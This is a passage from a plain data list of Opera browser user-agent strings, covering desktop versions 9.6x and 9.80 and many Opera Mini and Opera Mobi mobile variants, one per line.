Presto/2.1.1\nOpera/9.62 (Windows NT 5.1; U; zh-cn) Presto/2.1.1\nOpera/9.62 (Windows NT 5.1; U; zh-tw) Presto/2.1.1\nOpera/9.62 (Windows NT 5.2; U; en) Presto/2.1.1\nOpera/9.62 (Windows NT 6.0; U; de) Presto/2.1.1\nOpera/9.62 (Windows NT 6.0; U; en) Presto/2.1.1\nOpera/9.62 (Windows NT 6.0; U; en-GB) Presto/2.1.1\nOpera/9.62 (Windows NT 6.0; U; nb) Presto/2.1.1\nOpera/9.62 (Windows NT 6.0; U; pl) Presto/2.1.1\nOpera/9.62 (Windows NT 6.1; U; de) Presto/2.1.1\nOpera/9.62 (Windows NT 6.1; U; en) Presto/2.1.1\nOpera/9.62 (X11; Linux i686; U; Linux Mint; en) Presto/2.1.1\nOpera/9.62 (X11; Linux i686; U; en) Presto/2.1.1\nOpera/9.62 (X11; Linux i686; U; fi) Presto/2.1.1\nOpera/9.62 (X11; Linux i686; U; it) Presto/2.1.1\nOpera/9.62 (X11; Linux i686; U; pt-BR) Presto/2.1.1\nOpera/9.62 (X11; Linux x86_64; U; en_GB, en_US) Presto/2.1.1\nOpera/9.62 (X11; Linux x86_64; U; ru) Presto/2.1.1\nOpera/9.63 (Macintosh; Intel Mac OS X; U)\nOpera/9.63 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1\nOpera/9.63 (Windows NT 5.1; U; Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543 Safari/419.3; en) Presto/2.1.1\nOpera/9.63 (Windows NT 5.1; U; es-ES) Presto/2.1.1\nOpera/9.63 (Windows NT 5.1; U; nl) Presto/2.1.1\nOpera/9.63 (Windows NT 5.1; U; nn) Presto/2.1.1\nOpera/9.63 (Windows NT 5.1; U; pt-BR) Presto/2.1.1\nOpera/9.63 (Windows NT 5.2; U; de) Presto/2.1.1\nOpera/9.63 (Windows NT 5.2; U; en) Presto/2.1.1\nOpera/9.63 (Windows NT 6.0; U; cs) Presto/2.1.1\nOpera/9.63 (Windows NT 6.0; U; en) Presto/2.1.1\nOpera/9.63 (Windows NT 6.0; U; fr) Presto/2.1.1\nOpera/9.63 (Windows NT 6.0; U; nb) Presto/2.1.1\nOpera/9.63 (Windows NT 6.0; U; pl) Presto/2.1.1\nOpera/9.63 (Windows NT 6.1; U; de) Presto/2.1.1\nOpera/9.63 (Windows NT 6.1; U; en) Presto/2.1.1\nOpera/9.63 (Windows NT 6.1; U; hu) Presto/2.1.1\nOpera/9.63 (X11; FreeBSD 7.1-RELEASE i386; U; en) Presto/2.1.1\nOpera/9.63 (X11; Linux i686)\nOpera/9.63 (X11; Linux i686; U; de) Presto/2.1.1\nOpera/9.63 (X11; Linux i686; U; en)\nOpera/9.63 (X11; Linux i686; U; nb) Presto/2.1.1\nOpera/9.63 (X11; Linux i686; U; ru)\nOpera/9.63 (X11; Linux i686; U; ru) Presto/2.1.1\nOpera/9.63 (X11; Linux x86_64; U; cs) Presto/2.1.1\nOpera/9.63 (X11; Linux x86_64; U; ru) Presto/2.1.1\nOpera/9.64 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1\nOpera/9.64 (Macintosh; PPC Mac OS X; U; en) Presto/2.1.1\nOpera/9.64 (Windows 98; U; cs) Presto/2.1.1\nOpera/9.64 (Windows 98; U; en) Presto/2.1.1\nOpera/9.64 (Windows 98; U; ru) Presto/2.1.1\nOpera/9.64 (Windows ME; U; nl) Presto/2.1.1\nOpera/9.64 (Windows NT 5.1; U)\nOpera/9.64 (Windows NT 5.1; U; bg) Presto/2.1.1\nOpera/9.64 (Windows NT 5.1; U; cs) Presto/2.1.1\nOpera/9.64 (Windows NT 5.1; U; en) Presto/2.1.1\nOpera/9.64 (Windows NT 5.1; U; en-GB) Presto/2.1.1\nOpera/9.64 (Windows NT 5.1; U; fr) Presto/2.1.1\nOpera/9.64 (Windows NT 5.1; U; it) Presto/2.1.1\nOpera/9.64 (Windows NT 5.1; U; nl) Presto/2.1.1\nOpera/9.64 (Windows NT 5.1; U; nn) Presto/2.1.1\nOpera/9.64 (Windows NT 5.1; U; pt) Presto/2.1.1\nOpera/9.64 (Windows NT 5.1; U; pt-BR) Presto/2.1.1\nOpera/9.64 (Windows NT 5.1; U; zh-cn) Presto/2.1.1\nOpera/9.64 (Windows NT 5.2; U; en) Presto/2.1.1\nOpera/9.64 (Windows NT 6.0; U; de) Presto/2.1.1\nOpera/9.64 (Windows NT 6.0; U; en)\nOpera/9.64 (Windows NT 6.0; U; es-ES) Presto/2.1.1\nOpera/9.64 (Windows NT 6.0; U; it) Presto/2.1.1\nOpera/9.64 (Windows NT 6.0; U; pl) Presto/2.1.1\nOpera/9.64 (Windows NT 6.0; U; zh-cn) Presto/2.1.1\nOpera/9.64 (Windows NT 6.1; U; MRA 5.5 (build 02842); ru) Presto/2.1.1\nOpera/9.64 (Windows NT 6.1; U; de) Presto/2.1.1\nOpera/9.64 (X11; Linux i686; U; Linux Mint; it) Presto/2.1.1\nOpera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1\nOpera/9.64 (X11; Linux i686; U; da) Presto/2.1.1\nOpera/9.64 (X11; Linux i686; U; de) Presto/2.1.1\nOpera/9.64 (X11; Linux i686; U; en) Presto/2.1.1\nOpera/9.64 (X11; Linux i686; U; nb) Presto/2.1.1\nOpera/9.64 (X11; Linux i686; U; pl) Presto/2.1.1\nOpera/9.64 (X11; Linux i686; U; sv) Presto/2.1.1\nOpera/9.64 (X11; Linux i686; U; tr) Presto/2.1.1\nOpera/9.64 (X11; Linux x86_64; U; cs) Presto/2.1.1\nOpera/9.64 (X11; Linux x86_64; U; de) Presto/2.1.1\nOpera/9.64 (X11; Linux x86_64; U; en) Presto/2.1.1\nOpera/9.64 (X11; Linux x86_64; U; en-GB) Presto/2.1.1\nOpera/9.64 (X11; Linux x86_64; U; hr) Presto/2.1.1\nOpera/9.64 (X11; Linux x86_64; U; pl) Presto/2.1.1\nOpera/9.64(Windows NT 5.1; U; en) Presto/2.1.1\nOpera/9.70 (Linux i686 ; U;  ; en) Presto/2.2.1\nOpera/9.70 (Linux i686 ; U; ; en) Presto/2.2.1\nOpera/9.70 (Linux i686 ; U; en) Presto/2.2.0\nOpera/9.70 (Linux i686 ; U; en) Presto/2.2.1\nOpera/9.70 (Linux i686 ; U; en-us) Presto/2.2.0\nOpera/9.70 (Linux i686 ; U; zh-cn) Presto/2.2.0\nOpera/9.70 (Linux ppc64 ; U; en) Presto/2.2.1\nOpera/9.80 (Android 2.2.1; Linux; Opera Mobi/ADR-1107051709; U; pl) Presto/2.8.149 Version/11.10\nOpera/9.80 (Android 2.2; Linux; Opera Mobi/8745; U; en) Presto/2.7.60 Version/10.5\nOpera/9.80 (Android 2.2; Linux; Opera Mobi/ADR-2093533120; U; pl) Presto/2.7.60 Version/10.5\nOpera/9.80 (Android 2.2; Linux; Opera Mobi/ADR-2093533312; U; pl) Presto/2.7.60 Version/10.5\nOpera/9.80 (Android 2.2; Opera Mobi/-2118645896; U; pl) Presto/2.7.60 Version/10.5\nOpera/9.80 (Android 2.2; Opera Mobi/ADR-2093533608; U; pl) Presto/2.7.60 Version/10.5\nOpera/9.80 (Android 2.2;;; Linux; Opera Mobi/ADR-1012291359; U; en) Presto/2.7.60 Version/10.5\nOpera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50\nOpera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10\nOpera/9.80 (Android 4.0.4; Linux; Opera Mobi/ADR-1205181138; U; pl) Presto/2.10.254 Version/12.00\nOpera/9.80 (Android; Linux; Opera Mobi/27; U; en) Presto/2.4.18 Version/10.00\nOpera/9.80 (Android; Linux; Opera Mobi/49; U; en) Presto/2.4.18 Version/10.00\nOpera/9.80 (Android; Linux; Opera Mobi/ADR-1011151731; U; de) Presto/2.5.28 Version/10.1\nOpera/9.80 (Android; Linux; Opera Mobi/ADR-1012211514; U; en) Presto/2.6.35 Version/10.1\nOpera/9.80 (Android; Linux; Opera Mobi/ADR-1012221546; U; pl) Presto/2.7.60 Version/10.5\nOpera/9.80 (Android; Linux; Opera Mobi/ADR-1012272315; U; pl) Presto/2.7.60 Version/10.5\nOpera/9.80 (Android; Opera Mini/5.1.21126/19.892; U; de) Presto/2.5.25\nOpera/9.80 (Android; Opera Mini/5.1.22460/22.414; U; de) Presto/2.5.25 Version/10.54\nOpera/9.80 (Android; Opera Mini/5.1.22460/22.478; U; fr) Presto/2.5.25 Version/10.54\nOpera/9.80 (Android; Opera Mini/5.1.22460/23.334; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (Android; Opera Mini/6.1.25375/25.657; U; es) Presto/2.5.25 Version/10.54\nOpera/9.80 (Android; Opera Mini/7.0.29952/28.2075; U; es) Presto/2.8.119 Version/11.10\nOpera/9.80 (Android; Opera Mini/7.29530/27.1407; U; en) Presto/2.8.119 Version/11.10\nOpera/9.80 (Android; Opera Mini/7.5.33361/31.1350; U; en) Presto/2.8.119 Version/11.10\nOpera/9.80 (Android; Opera Mini/7.5.33361/31.1543; U; en) Presto/2.8.119 Version/11.1010\nOpera/9.80 (Android; Opera Mini/7.6.35766/35.5706; U; en) Presto/2.8.119 Version/11.10\nOpera/9.80 (Android; Opera Mini/9.0.1829/66.318; U; en) Presto/2.12.423 Version/12.16\nOpera/9.80 (Android;Opera Mini/6.0.24212/24.746 U;en) Presto/2.5.25 Version/10.5454\nOpera/9.80 (BlackBerry; Opera Mini/5.1.22303/22.387; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (BlackBerry; Opera Mini/6.24209/27.1366; U; en) Presto/2.8.119 Version/11.10\nOpera/9.80 (J2ME/MIDP; Opera Mini/(Windows; U; Windows NT 5.1; en-US) AppleWebKit/23.411; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/1.0/886; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/1.6.0_13/19.916; U; en) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/1.6.0_13/22.478; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/3.1.10423/22.387; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/24.705; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.0 (Linux; U;\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.11) Gecko/23.390; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.0 (compatible; MSIE 5.0; UNIX) Opera 6.12  [en]/24.838; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/23.411; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.0.10031/22.453; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.0.10247/19.916; U; en) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.0.8462/19.916; U; en) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.0.8462/22.414; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.0/22.394; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.0/22.401; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.0/22.453; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.0/870; U; id) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.0/886; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.1.11321/24.871; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.1.12965/19.892; U; en) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.1.13573/20.2485; U; zh) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.1.13907/21.529; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.1.14287/22.387; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.1.15082/20.2489; U; en) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.1.15082/25.677; U; vi) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.1.15082/870; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.18061/27.1407; U; en) Presto/2.8.119 Version/11.10\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2 19.42.55/19.892; U; en) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.13057/870; U; ja) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.13221/870; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.13221/886; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.13265/870; U; ro) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.13337.Mod.by.Handler/870; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.13337/19.916; U; en) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.13337/870; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.13337/886; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.13400/20.2485; U; zh) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/22.414; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.13943/20.2485; U; zh) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14320/20.2485; U; zh) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14320/22.478; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14320/886; U; id) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14409/20.2485; U; zh) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14753/20.2485; U; zh) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14881Mod.by.Handler/23.317; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14881Mod.by.Handler/24.743; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14885/20.2485; U; zh) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912/22.394; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912/23.333; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912/23.334; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912/24.746; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912/35.5706; U; id) Presto/2.8.119 Version/11.10\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912/870; U; id) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912Mod.By.www.9jamusic.cz.cc/22.387; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912Mod.by.Handler/23.377; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912Mod.by.Handler/24.783; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.14912mod.By.onome/22.401; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.15066/886; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410/22.394; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410/24.899; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410/870; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410Mod.by.Handler/18.678; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410Mod.by.Handler/20.2485; U; en) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410Mod.by.Handler/22.401; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410Mod.by.Handler/23.333; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410Mod.by.Handler/23.334; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410QUAIN/22.478; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.16007Mod.by.Handler/23.390; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.16320/29.3594; U; en) Presto/2.8.119 Version/11.10\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.18887/22.478; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.19634/23.333; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.21465/22.387; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.21465/22.478; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.23453/28.2647; U; en) Presto/2.8.119 Version/11.10\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.2.24721/30.3316; U; en) Presto/2.8.119 Version/11.10\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.3.13337/25.657; U; ro) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.3.24214 (Windows; U; Windows NT 6.1) AppleWebKit/24.838; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.3.24214/27.1407; U; id) Presto/2.8.119 Version/11.10\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.3.24214; iPhone; CPU iPhone OS 4_2_1 like Mac OS X; AppleWebKit/24.783; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.4.0.60 (Windows XP)/886; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.4.26736/28.2647; U; it) Presto/2.8.119 Version/11.10\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.4.29476/27.1573; U; id) Presto/2.8.119 Version/11.10\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.4.Vista/19.916; U; en) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/4.5.33867/35.2883; U; en) Presto/2.8.119 Version/11.10\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0 (BlackBerry; U; BlackBerry 9800) AppleWebKit/24.783; U; es) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0 (BlackBerry; U; BlackBerry9800; en-GB) AppleWebKit/24.783; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Linux; U; Android 2.2; en-sa; HTC_DesireHD_A9191 Build/24.741; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Linux; U; Android 2.2; fr-lu; HTC Legend Build/24.838; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0 (SymbianOS/24.838; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows NT 6.1; WOW64) AppleWebKit/23.411; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/23.377; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/22.478; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/23.411; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/24.838; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 6.1; sv-SE) AppleWebKit/23.411; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/23.377; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/23.411; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0 (iPhone; U; fr; CPU iPhone OS 4_2_1 like Mac OS X; fr) AppleWebKit/23.405; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0 (iPhone; U; xxxx like Mac OS X; en) AppleWebKit/24.838; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0(Windows; U; Windows NT 5.1; en-US)/23.390; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.0.351 Profile/22.478; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.0.423 Profile/18.684; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.0.862 Profile/24.743; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.15650/20.2479; U; en) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823/1428; U; en) Presto/2.2.0\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823/870; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823Mod.by.Handler/22.387; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.17381/886; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.17443/20.2477; U; en) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.17443/886; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.18635/886; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.18635Mod.by.Handler/23.377; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.18741/18.794; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.18741/870; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.18741/870; U; fr) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.18741/886; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.18741/886; U; id) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.18741Mod.by.Handler/22.414; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.19683/1278; U; ko) Presto/2.2.0\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.19693/870; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.19693Mod.by.Handler/18.794; U; id) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.19693Mod.by.Handler/23.390; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.20873/19.916; U; en) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.3521/18.684; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.3521/22.414; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.3521/886; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0/870; U; en) Presto/2.4.15\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.1.21051/20.2477; U; en) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.1.21051/23.377; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.1.21051/27.1573; U; en) Presto/2.8.119 Version/11.10\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.1.21214/22.387; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.1.21214/22.414; U; ro) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.1.21415/22.387; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.1.22296/22.387; U; fr) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.1.22296/22.478; U; fr) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.1.22296/22.87; U; en) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.1.22296/22.87; U; fr) Presto/2.5.25\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.1.22296; BlackBerry9800; U; AppleWebKit/23.370; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/6.1.25378/25.677; U; th) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/6.24093/25.657; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/6.24093/26.1305; U; en) Presto/2.8.119 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/6.24288/25.729; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/6.5.26955/27.1407; U; en) Presto/2.8.119 Version/11.10\nOpera/9.80 (J2ME/MIDP; Opera Mini/7.1.32052/35.5706; U; id) Presto/2.8.119 Version/11.10\nOpera/9.80 (J2ME/MIDP; Opera Mini/8.0.35626/37.8918; U; en) Presto/2.12.423 Version/12.16\nOpera/9.80 (J2ME/MIDP; Opera Mini/9 (Compatible; MSIE:9.0; iPhone; BlackBerry9700; AppleWebKit/24.746; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/9.80 (J2ME/22.478; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/9.80 (J2ME/23.377; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.334; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/Mozilla/23.334; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/Nokia2730c-1/22.478; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/MIDP; Opera Mini/SymbianOS/22.478; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (J2ME/iPhone;Opera Mini/5.0.019802/886; U; ja) Presto/2.4.15\nOpera/9.80 (J2ME/iPhone;Opera Mini/5.0.019802/886; U; ja)Presto/ 2.4.15\nOpera/9.80 (J2ME/iPhone;Opera Mini/5.0.019802/886; U; ja)Presto/2.4.15\nOpera/9.80 (Linux i686; Opera Mobi/1038; U; en) Presto/2.5.24 Version/10.00\nOpera/9.80 (Linux i686; Opera Mobi/1040; U; en) Presto/2.5.24 Version/10.00\nOpera/9.80 (Linux i686; U; en) Presto/2.5.22 Version/10.51\nOpera/9.80 (Macintosh; Intel Mac OS X 10.4.11; U; en) Presto/2.7.62 Version/11.00\nOpera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; de) Presto/2.9.168 